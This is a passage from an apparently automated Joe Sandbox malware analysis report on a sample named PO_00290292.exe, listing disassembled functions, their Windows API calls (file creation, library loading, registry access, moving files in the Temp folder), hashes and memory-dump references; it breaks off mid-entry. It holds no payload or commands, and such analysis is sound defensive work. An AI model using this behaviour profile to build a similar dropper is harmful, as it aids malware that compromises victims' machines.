Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 3868b5a52622b10a1177551b7cc78a5ffd836502efb30cae45cbc154cdcfe80d
Instruction ID: fd15c1a48ffcd0bde852b119af7687a848e5b357f1d71b2c4b4b2b4c4c2fcb19
Opcode Fuzzy Hash: 3868b5a52622b10a1177551b7cc78a5ffd836502efb30cae45cbc154cdcfe80d
Instruction Fuzzy Hash: 55F0F076645601CBD3101B54AD05B5B7268EF80781F56407EEE44A23F1CABA48428B2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0040157F
ShowWindow.USER32(?), ref: 00401594

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 4f5d9ef0beddd45689b81fa3b2d2ac104db1f3844eed1b1a0e4dc60d6ad0a3f0
Instruction ID: 3d140fe00ea388f21a06c6326494b10f153b64dd8f5dad9855b01bbfc98b082c
Opcode Fuzzy Hash: 4f5d9ef0beddd45689b81fa3b2d2ac104db1f3844eed1b1a0e4dc60d6ad0a3f0
Instruction Fuzzy Hash: 65E04876B00104DBCB24CBA4ED808AD77A6AB44310750497BD501B3660C675DC51CF28

Uniqueness

Uniqueness Score: -1.00%

Function 00406558 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
GetProcAddress.KERNEL32(00000000,?), ref: 00406585

Part of subcall function 004064E8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004064FF
Part of subcall function 004064E8: wsprintfW.USER32 ref: 0040653A
Part of subcall function 004064E8: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040654E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 31197a09b32f9822319ed056a1c078f96e3f7aaf520cdba8edd4f010bc886546
Instruction ID: 8c1a5bb66f910ccc430fc34c4425cef617f316e2833151c7c1ff8c8a0ee84b40
Opcode Fuzzy Hash: 31197a09b32f9822319ed056a1c078f96e3f7aaf520cdba8edd4f010bc886546
Instruction Fuzzy Hash: C3E086326042206BD6105B706E0893762BC9ED8740302483EF946F2084D778DC329A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D53 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00405D57
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction ID: e98dd403a5e5432679a9d4e257ef455d3d6759c2e5ed6cf280caa05d5291d686
Opcode Fuzzy Hash: 7f22f31ca84e25cf3c35cca7fc28e1469c604482c982d9b12555b4894eb7b1e0
Instruction Fuzzy Hash: B3D09E71654601EFEF098F20DF16F2E7AA2EB84B00F11562CB682940E0DA7158199B19

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2E Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405933,?,?,00000000,00405B09,?,?,?,?), ref: 00405D33
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405D47

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: 62c1218995ad43f24aa052634507c0d83541fa9dca801c4eab67991220ff17ac
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 40D01272504520AFC2513738EF0C89BBF95EB543B17028B35FAF9A22F0DB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405829 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004033A9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040582F
GetLastError.KERNEL32 ref: 0040583D

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction ID: d963a2520b22da8993c1f0374a54a6368e12bf2bf52e26206a68f99a8800bbf8
Opcode Fuzzy Hash: 90cc4c9737d43430731b600de694bcf2d45feac9894761d90dfe22e9228b7257
Instruction Fuzzy Hash: 1DC04C31204B029AD7506B609F097177954AB50781F11C8396946E00A0DE348465DE2D

Uniqueness

Uniqueness Score: -1.00%

Function 00401673 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 0040168E

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: a51ebfd131b5ce1ad24a1fd58dead1362408043bc730019d15f3e82182553067
Instruction ID: f96437beda5fd31dd1875ddb5f908f1f3267c620ccf54a3d4895ce3c899c2c08
Opcode Fuzzy Hash: a51ebfd131b5ce1ad24a1fd58dead1362408043bc730019d15f3e82182553067
Instruction Fuzzy Hash: 50F0B431604114D7CB20BF7A4F0DD5E32A59F82338B25437BF912B62E6DAFC8A41956E

Uniqueness

Uniqueness Score: -1.00%

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 014b14aad264ab3d9278ecb8b720997d0a3792ab61640f4b6d401bffeacc1512
Instruction ID: a822d11f1d05533bca3208a69e79300e3559a9020bae074bf72d5f6ed1f8f9d7
Opcode Fuzzy Hash: 014b14aad264ab3d9278ecb8b720997d0a3792ab61640f4b6d401bffeacc1512
Instruction Fuzzy Hash: BCE04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040172D Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401741

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 0ce7f8cd7b3dd26209cda17540e289f7ec9c7824dd55c0017d6758264515c3ca
Instruction ID: 9d0666dde0d895d2acfda9375e79d31dc3107899110506874ca2c1483bba1856
Opcode Fuzzy Hash: 0ce7f8cd7b3dd26209cda17540e289f7ec9c7824dd55c0017d6758264515c3ca
Instruction Fuzzy Hash: 2DE08676300100EBD750CFA4DE49AAA77ADDF40378F20417BF615E61D1E6B49A41973D

Uniqueness

Uniqueness Score: -1.00%

Function 00405E05 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040E2AE,0040CED0,004032EF,0040CED0,0040E2AE,00414ED0,00004000,?,00000000,00403119,00000004), ref: 00405E19

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: dac0b8971ba2920abb5474f128329a0fa477ab7403896bbfc0984bb8014ca22f
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 4AE08632100119ABCF105F50DC00EEB376CEB00350F004832FA65E2040E230EA219BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction ID: ef45ff86538a2d51f1b0222ec8c1b297abd10be8bd22699319dc95f068cee933
Opcode Fuzzy Hash: 2cb17219caef5c2c057f25c6a0d5a563c17eea178cedf0001938d6a474f7be63
Instruction Fuzzy Hash: CCE08676244108BFDB00DFA8DE47FD537ECAB14700F004031BA08D70D1C674E5508768

Uniqueness

Uniqueness Score: -1.00%

Function 00405DD6 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040336B,0040A230,0040A230,0040326F,00414ED0,00004000,?,00000000,00403119), ref: 00405DEA

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction ID: f39de87387fc754cac4ceee649b5e38243fe2bf9183d254406dbd5143e25ae03
Opcode Fuzzy Hash: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction Fuzzy Hash: 57E0EC3221125AABDF509F65DC08AEB7B6DEF05360F008837F955E6160D631E9219BE8

Uniqueness

Uniqueness Score: -1.00%

Function 004022DF Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402310

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 2412c5e6e38f405480bfb5068b9d3e64da5a88d06b16ee9e0a03aeafae2b93d0
Instruction ID: 815fd251d1ef055c124add3867079dbd89389a2e6f50d5753089410e689aa70c
Opcode Fuzzy Hash: 2412c5e6e38f405480bfb5068b9d3e64da5a88d06b16ee9e0a03aeafae2b93d0
Instruction Fuzzy Hash: 91E04F30800208BBDF01AFA4CE49DBD3B79AF00344F14043AF940AB0D5E7F89A819749

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 694438e2711fe54d40bb1ff94b0c367670ea04c6faeed320443158d9ce86139f
Instruction ID: b466977811d287c246b6c4bdd3c4099c205cff96c1e3616f4719a22f3098d0f0
